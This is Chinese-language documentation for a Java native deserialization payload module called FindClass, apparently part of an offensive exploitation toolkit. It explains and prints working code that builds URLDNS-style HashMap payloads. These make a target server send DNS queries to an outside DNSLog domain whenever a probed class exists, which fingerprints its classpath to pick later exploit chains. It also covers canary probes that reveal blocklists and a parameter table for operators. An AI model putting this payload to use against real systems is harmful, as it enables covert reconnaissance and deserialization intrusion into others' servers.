- 类别:javanative 别名:— 优先级:20
- 作者:c0ny1、kezibei、Catherines77
- 依赖:无(利用 JDK 自带的
URL/HashMap+ Javassist 生成占位类)
构造一批 HashMap<URL, Class>,每个 map 的 key 是一个 hashCode 被清零的 URL(DNSLog 地址)、value 是一个「以待探测类名命名」的 Class。反序列化时若目标环境存在该类,HashMap 恢复过程才会算到 key 的哈希并触发一次 DNS 请求;据此通过外带 DNS 批量、无回显地探测目标类路径中存在哪些类(框架、CC/CB、数据库驱动、中间件、JDK 版本等)。是经典的 URLDNS + Class 探测组合。
- 入口
tags:JavaNativeDeserialize、END—— 直接承接 Java 原生反序列化入口,自身即链尾。 - 衔接
nextTags:无。 excludes:无。
invoke 只是把参数解析成一组 payload map 的列表返回:
public List getObject() throws Exception {
LinkedList list = new LinkedList();
this.parseParam(); // 按 自定义 > 本地文件 > 内置 的优先级解析出待探测类
list.addAll(this.hashMaps); // 每个元素是一个 HashMap<URL, Class>
return list;
}单个探测项的构造是核心 —— getHashMapPayload:
public HashMap getHashMapPayload(String urls, String clazzName) {
HashMap<URL, Class> hashMap = new HashMap<>();
URL url = new URL(urls);
Field f = this.getClass("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0); // 先把 URL.hashCode 缓存置 0,put 时不触发 DNS(本机不出网)
Class clazz = this.getClass(clazzName); // value:以目标类名命名的 Class 对象
hashMap.put(url, clazz);
f.set(url, -1); // 复位为 -1:序列化后到目标反序列化时会重新计算 hashCode
return hashMap;
}- URLDNS 部分:
URL.hashCode字段值为 -1 表示「尚未计算」。构造时置 0 避免在攻击机put时就发起 DNS;置回 -1 后序列化。目标HashMap.readObject → putVal → hash(key) → URL.hashCode() → URLStreamHandler.hashCode() → getHostAddress()会对域名做 DNS 解析,从而外带。 - 类存在性即条件:
HashMap.readObject对每个 entry 是先读 key、再读 value,然后才putVal(此时才算 key 的哈希、才触发 DNS)。value 是一个Class对象,其序列化形态携带类名与类描述;目标反序列化读 value 时会用Class.forName解析该类名——若目标不存在此类则抛ClassNotFoundException,该 entry 的putVal不再执行,DNS 不发出。因此「收到某子域名的 DNS 请求」== 「目标存在对应类」,实现探测。 - 占位类生成(
getClazz/checkClass):
public static Class<?> getClazz(String clazzName) {
if (FindClass.checkClass(clazzName)) return Class.forName(clazzName); // 攻击机本地就有 → 直接用
// 本地没有:用 Javassist 在隔离 ClassLoader 中 makeClass 造一个同名空类占位
ctClass = PLACEHOLDER_POOL.makeClass(clazzName);
ctClass.defrost();
return ctClass.toClass(PLACEHOLDER_LOADER, null);
}
public static boolean checkClass(String className) {
Class<?> clazz = Class.forName(className); // CNFE 即返回 false
return clazz.getClassLoader() == null; // 仅 bootstrap 加载的类算“有”
}攻击机不需要真的拥有目标类,靠 Javassist 造一个同名空类即可让序列化写出正确的类名引用;探测成败取决于目标是否有该类。
- canary 机制(
insertCanary):每隔num个探测项插入一个指向java.lang.Object(必然存在)的canary_NDNSLog。若 canary 的 DNS 到了、而其后若干真实探测的 DNS 没到,可辅助判断是被黑名单拦截还是类确实不存在。 - 内置字典(
static {}块):classMap预置了os/cc/cb/db/c3p0/jndiAttack/datasource/jdk/web/gadget/other等大量分组,覆盖java.io.UnixFileSystem、各类ChainedTransformer/BeanComparator、几十种数据库Driver、org.apache.naming.factory.BeanFactory、各中间件标志类、JDK 版本标志类等,供批量指纹识别。 prefix参数会给每个探测类名加包名前缀(如com.bes),用于探测「魔改包名」的中间件/框架。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
domain |
dnslog域名 | 外带用的 DNSLog 域名,如 xxx.dnslog.cn |
xxx.dnslog.cn |
— |
param |
一.内置参数 | 使用内置字典探测的分组 | all |
all/os/cc/cb/db/jndiAttack/datasource/jdk/web/other |
localFile |
二.本地文件 | 从本地文件读取待探测类清单(格式同「自定义探测类」),如 /data/className.txt |
— | — |
customFindStr |
三.自定义探测类 | 手工指定类名,; 分隔多个,: 分隔「dnslog子域:类名」 |
— | — |
prefix |
包名 | 给探测类加统一前缀,适配魔改包名,如 com.bes |
"" |
— |
useCanary |
使用canary | 是否周期性插入 canary DNSLog 辅助排查黑名单 | false |
(Boolean) |
num |
canary数量间隔 | 每隔多少个探测项插一个 canary | 10 |
(Integer) |
参数使用优先级:
customFindStr(自定义)>localFile(本地文件)>param(内置)。
- 无第三方依赖,纯 JDK + Javassist(Javassist 仅在攻击机生成 payload 时使用,目标端不需要)。
- 属于无回显探测手段:只要目标存在反序列化点且能对外发 DNS,即可枚举类路径指纹,为后续选链提供依据。
- 探测结果受目标出网能力、DNS 缓存、黑名单/RASP 影响;
canary用于区分「无此类」与「被拦截」。 - 仅探测类是否存在,不校验版本;若需按
serialVersionUID精确定位版本,用 FindClass2。
- DNSLog探测类(
[FindClass])——单构件探测链。
- 同族精确版:FindClass2(指定 suid 精确探测版本)。
- 时间侧信道版:FindClassByBomb(无出网时用反序列化耗时探测)。
- 探测结论落地:探到 cc/cb/fastjson/TemplatesImpl 等后转入对应利用链(如 CommonsBeanutils1、Fastjson)。